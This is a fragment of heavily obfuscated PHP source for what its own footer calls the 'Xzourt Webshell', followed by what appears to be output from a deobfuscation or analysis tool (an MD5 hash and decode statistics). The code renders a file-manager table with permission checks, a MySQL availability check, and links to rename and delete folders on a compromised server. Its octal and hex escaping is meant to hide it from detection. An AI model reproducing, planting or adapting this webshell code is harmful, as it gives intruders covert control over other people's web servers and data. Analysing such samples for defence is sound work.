2d\143\145\x6e\164\145\162\x27\76\55\x3c\x2f\164\144\76\xa\x9\11\11\74\164\144\x20\143\154\x61\x73\163\x3d\47\164\145\170\164\55\x63\145\x6e\x74\145\162\x27\x3e{$downer}\74\x67\x72\x3e\57\x3c\x2f\147\162\76{$dgrp}\74\x2f\x74\144\76\xa\11\x9\11\x3c\x74\x64\40\143\154\x61\163\x73\75\47\164\145\x78\x74\x2d\x63\x65\156\x74\x65\x72\47\x3e"; if (is_writable($path . "\x2f" . $dir)) { echo "\x3c\147\x72\76"; } elseif (!is_readable($path . "\57" . $dir)) { echo "\74\162\144\76"; } echo p($path . "\57" . $dir); if (is_writable($path . "\x2f" . $dir) || !is_readable($path . "\x2f" . $dir)) { echo "\74\x2f\x66\x6f\x6e\x74\76\74\57\x63\145\156\x74\145\162\x3e\x3c\x2f\164\x64\x3e"; } echo "\xa\11\x9\x9\x3c\x74\x64\40\143\x6c\x61\x73\163\x3d\x27\x74\145\x78\x74\55\143\x65\156\x74\x65\x72\x27\76\xa\11\x9\x9\74\144\151\x76\40\x63\154\x61\x73\x73\75\x27\x62\x74\x6e\x2d\147\x72\157\165\160\47\x3e\12\11\11\11\11\74\x61\x20\x63\154\141\x73\163\x3d\x27\x62\x74\156\40\x62\164\156\55\x6f\165\x74\154\x69\x6e\145\x2d\x6c\x69\x67\150\164\40\142\x74\156\x2d\163\155\x27\40\x68\162\x65\x66\x3d\x27\77\144\151\162\75{$path}\x2f{$dir}\46\x61\x63\x74\x69\x6f\156\75\162\x65\156\141\x6d\x65\x5f\146\157\x6c\x64\x65\x72\47\x3e\x3c\151\x20\143\154\x61\x73\163\75\x27\142\151\x20\x62\151\55\x70\x65\x6e\x63\151\154\x2d\x66\x69\154\x6c\47\x3e\x3c\57\x69\76\x3c\57\x61\x3e\74\x61\40\x63\154\x61\163\x73\75\x27\142\x74\156\40\142\x74\x6e\55\157\x75\164\154\151\156\x65\55\154\151\147\x68\164\40\142\x74\x6e\55\163\155\47\x20\150\162\x65\146\75\x27\x3f\x64\x69\x72\x3d{$path}\57{$dir}\46\141\x63\x74\151\157\156\75\x64\145\x6c\145\164\x65\137\146\157\154\144\145\x72\x27\x3e\x3c\151\x20\143\x6c\141\x73\163\75\47\142\x69\40\142\x69\x2d\x74\x72\x61\163\x68\x2d\x66\151\x6c\x6c\47\76\74\x2f\151\x3e\x3c\57\x61\76\12\11\x9\x9\x3c\x2f\144\151\x76\x3e\xa\11\11\x9\74\57\x74\144\76\xa\11\11\74\57\x74\162\x3e"; } goto n4wge; octvi: $sql = function_exists("\x6d\x79\163\x71\154\x5f\x63\157\156\156\x65\143\x74") ? "\74\x67\x72\76\117\116\74\x2f\147\x72\76" : "\x3c\162\144\76\x4f\106\x46\74\57\x72\144\x3e"; goto LAdCu; U8rFL: ?>
<div class="text-secondary"> Xzourt Webshell Company</div>

Function Calls

None

Variables

None

Stats

MD5 fb4a4b554e158dea76105829603770f0
Eval Count 0
Decode Time 82 ms